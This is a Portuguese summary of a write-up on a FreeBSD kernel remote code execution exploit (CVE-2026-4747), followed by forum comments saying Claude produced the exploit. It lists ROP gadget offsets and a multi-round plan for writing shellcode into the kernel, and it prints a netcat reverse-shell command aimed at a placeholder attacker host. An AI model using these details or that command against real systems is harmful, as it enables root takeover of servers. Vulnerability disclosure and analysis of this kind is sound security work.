Obtenção de shell root via RCE remota no kernel do FreeBSD (CVE-2026-4747)
(github.com/califio)- No módulo kgssapi.ko do FreeBSD, ocorre um estouro de buffer de pilha durante o processamento da autenticação RPCSEC_GSS, permitindo execução remota de código
- A função
svc_rpc_gss_validate()copia dados de credenciais sem verificação de limites, sobrescrevendo até o endereço de retorno - Um invasor pode usar um ticket Kerberos válido para injetar uma cadeia ROP no kernel por meio do caminho RPCSEC_GSS de um servidor NFS
- Por meio de um overflow em 15 etapas, 432 bytes de shellcode são gravados e executados na área BSS do kernel, criando uma reverse shell com privilégios de root
- Algumas versões do FreeBSD 13.5~15.0 são afetadas, e o patch adiciona a lógica de validação de
oa_length
CVE-2026-4747 — Estouro de buffer de pilha em RPCSEC_GSS do kgssapi.ko no FreeBSD
- Uma vulnerabilidade de estouro de buffer de pilha que ocorre durante o processamento da autenticação RPCSEC_GSS no módulo kgssapi.ko do FreeBSD
- Ao reconstruir o cabeçalho RPC em um buffer de pilha de 128 bytes, a função
svc_rpc_gss_validate()copia dados de credenciais sem verificação de limites paraoa_length - Credenciais que excedam os 96 bytes restantes após o cabeçalho fixo de 32 bytes sobrescrevem variáveis locais, registradores salvos e até o endereço de retorno
- As versões FreeBSD 13.5(<p11), 14.3(<p10), 14.4(<p1), 15.0(<p5) são afetadas
- No patch, foi adicionada uma condição para verificar antes da cópia se
oa_lengthexcede o tamanho do buffer
Estrutura do overflow e impacto
- A análise do prólogo da função mostra que o array
rpchdrfica em[rbp-0xc0], e o ponto de início da cópia em[rbp-0xa0] - Após 96 bytes, são sobrescritos em sequência RBX salvo, R12~R15, RBP e o endereço de retorno
- No ataque real, por causa do cabeçalho GSS e de um handle de contexto de 16 bytes, o endereço de retorno fica no 200º byte do corpo da credencial
- O código vulnerável só é alcançável pelo caminho de autenticação RPCSEC_GSS do servidor NFS
- O invasor precisa ser um usuário com ticket Kerberos válido e provocar o overflow na etapa de autenticação RPCSEC_GSS (procedimento DATA)
Configuração do ambiente de ataque
- VM alvo: FreeBSD 14.4-RELEASE amd64, servidor NFS ativado,
kgssapi.kocarregado, KDC MIT Kerberos em execução - Host do invasor: Linux, com o módulo Python3
gssapie o cliente MIT Kerberos instalados, com acesso a NFS (2049/TCP) e KDC (88/TCP) - A configuração é possível em diversos ambientes de hipervisor, como QEMU, VMware, VirtualBox e bhyve
- Na configuração do Kerberos, são obrigatórias as opções
rdns=falseedns_canonicalize_hostname=falseemkrb5.conf - O hostname (
test) e o service principal (nfs/test@TEST.LOCAL) devem coincidir entre a VM e o invasor
Estrutura do exploit de execução remota de código no kernel (RCE)
- O ataque é composto por 15 rodadas de overflow em múltiplas etapas
- Em cada rodada, é criado um novo contexto Kerberos GSS
- É enviado um pacote RPCSEC_GSS DATA acima do tamanho esperado
- O endereço de retorno é sobrescrito com um gadget ROP para gravar dados na memória do kernel ou executar shellcode
kthread_exit()é chamado para encerrar normalmente a thread NFS
- Cada rodada usa cerca de 200 bytes de cadeia ROP e um total de 432 bytes de shellcode é enviado ao longo de 15 execuções
- Como o FreeBSD cria 8 threads NFS por CPU, são necessárias no mínimo 2 CPUs (16 threads)
Composição da cadeia ROP
- Principais gadgets ROP:
pop rdi; ret(K+0x1adcda)pop rsi; ret(K+0x1cdf98)pop rdx; ret(K+0x5fa429)pop rax; ret(K+0x400cb4)mov [rdi], rax; ret(0xffffffff80e3457c) — gravação arbitrária de 8 bytes na memória do kernel
- Rodada 1: chamada de
pmap_change_prot()para alterar a área BSS do kernel para RWX - Rodadas 2–14: uso do gadget
mov [rdi], raxpara gravar o shellcode na BSS em blocos de 32 bytes - Rodada 15: grava os 16 bytes finais e salta para o ponto de entrada do shellcode
Funcionamento do shellcode
- É executado em modo kernel (CPL 0) e cria um processo de reverse shell com privilégios de root
- Como não é possível chamar
execve()diretamente a partir de uma thread NFS do kernel, é usada uma estrutura em 2 etapas- Função Entry: cria um novo processo de kernel com
kproc_create()e depois encerra - Função Worker: executa
/bin/sh -c "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER 4444>/tmp/f"
- Função Entry: cria um novo processo de kernel com
- O registrador
DR7é inicializado para evitar exceções de depuração - O sinalizador
P_KPROCé desativado para quefork_exit()siga pelo caminhouserretem vez dekthread_exit() - Como resultado,
/bin/shé executado em modo usuário com privilégios uid 0 (root)
Principais desafios resolvidos
- Incompatibilidade de offset de registrador: o offset real de RIP foi confirmado como 200 bytes com um padrão De Bruijn
- Incompatibilidade GSS MIT–Heimdal: o problema de normalização de hostname foi resolvido com a configuração de
krb5.conf - Herança de registradores de depuração: a inicialização de
DR7evita a exceçãotrap 1 - Limite de 400 bytes: a combinação
pop rdi + pop rax + mov [rdi], raxpermitiu envio estável em unidades de 8 bytes - Consumo de threads NFS: cada rodada encerra 1 thread → são necessárias no mínimo 2 CPUs
Resumo do fluxo final do exploit
- Após obter um ticket Kerberos, o invasor envia em sequência 15 pacotes de overflow RPCSEC_GSS
- Rodada 1: define a BSS como RWX
- Rodadas 2–14: gravam 416 bytes do shellcode
- Rodada 15: grava os 16 bytes finais e executa o shellcode
- O shellcode cria um novo processo com
kproc_create()e executa/bin/sh - O invasor obtém uma shell root por meio de uma sessão
nc - Todo o processo leva cerca de 45 segundos e é concluído com um total de 15 pacotes RPC
1 comentários
Comentários do Hacker News
O ponto principal é que o Claude não encontrou o bug diretamente; ele recebeu um relatório de CVE já publicado e escreveu um programa para explorar a vulnerabilidade
Mas, no ritmo de avanço atual, não parece distante a era em que modelos como o Claude vão analisar o código-fonte do kernel ou de serviços centrais e, por meio de experimentos iterativos em VMs, descobrir novos CVEs automaticamente
Antes, o custo de encontrar CVEs era alto demais, então só atacantes em busca de ganho financeiro tentavam fazer isso
Agora o custo caiu, então pesquisadores bem-intencionados também podem encontrar falhas com facilidade e criar um ambiente em que seja possível corrigi-las antes da exploração
Hoje, parece plausível que modelos como o Claude Code analisem a base de código, sugiram onde e como fazer testes de fuzzing, revisem crashes e, aprendendo de forma iterativa, consigam encontrar CVEs
Nicholas Carlini o encontrou usando o Claude na Anthropic, e foi isso que levou à criação do relatório de CVE
Para esse tipo de fuzzing automatizado, LLMs combinam bastante bem
O Claude já está encontrando CVEs em nível de especialista
A empresa do Thai Duong, Calif, publicou um post no blog resumindo esse caso
Os prompts usados também estão incluídos, e esse bug também foi descoberto pelo Claude por meio de Nicholas Carlini
No FreeBSD 14.x não havia KASLR (randomização do espaço de endereços do kernel) nem stack canaries, então o ataque foi fácil
Fico curioso se isso melhora no FreeBSD 15.x
Como referência, o NetBSD já tem suporte a KASLR
Dá para confirmar com
sysctl kern.elf64.aslr.enable: 1Segundo este post no fórum, há quem diga que o KASLR só dá uma falsa sensação de segurança, com ganho real de proteção mínimo
Pela apresentação “Black-Hat LLMs”, divulgada recentemente, os LLMs estão ficando cada vez mais competentes em busca de vulnerabilidades e exploits
Já havia sinais disso quando Sam Altman publicou, em dezembro do ano passado, um tweet dizendo que estava contratando um Head of Preparedness
A parte mais difícil é encontrar a vulnerabilidade, não corrigi-la
A maioria dos pesquisadores de segurança não divulga vulnerabilidades por motivos financeiros
Portanto, se a detecção automática se tornar possível, apesar dos riscos, isso será um grande ganho no longo prazo
Caso contrário, isso pode se tornar mais um fardo para desenvolvedores de open source
Como já aconteceu na antiga polêmica sobre patches de segurança entre o Google e o FFmpeg
Obrigado por compartilhar a coletânea de prompts publicados
Esse tipo de automação pode representar economia de tempo para equipes de desenvolvimento, mas talvez não tenha tanto valor para usuários comuns
Hoje em dia, bugs de kernel já não são encontrados manualmente
Mesmo assim, o fato de todo mundo estar falando do Claude parece, no fim, mais efeito de marketing da Anthropic
Agora, mais do que o fato de “o Claude escreveu o código”, o foco deveria estar em qualidade e manutenibilidade desse código
Tenho curiosidade em saber se o código escrito pelo Claude tem de fato uma estrutura sustentável para manutenção ou se é uma bagunça
Casos assim mostram a autonomia e a força dos agentes
Ao mesmo tempo, são um exemplo da ansiedade por controle e da necessidade de governança sentidas pelas empresas
Foi interessante poder ver o histórico completo dos prompts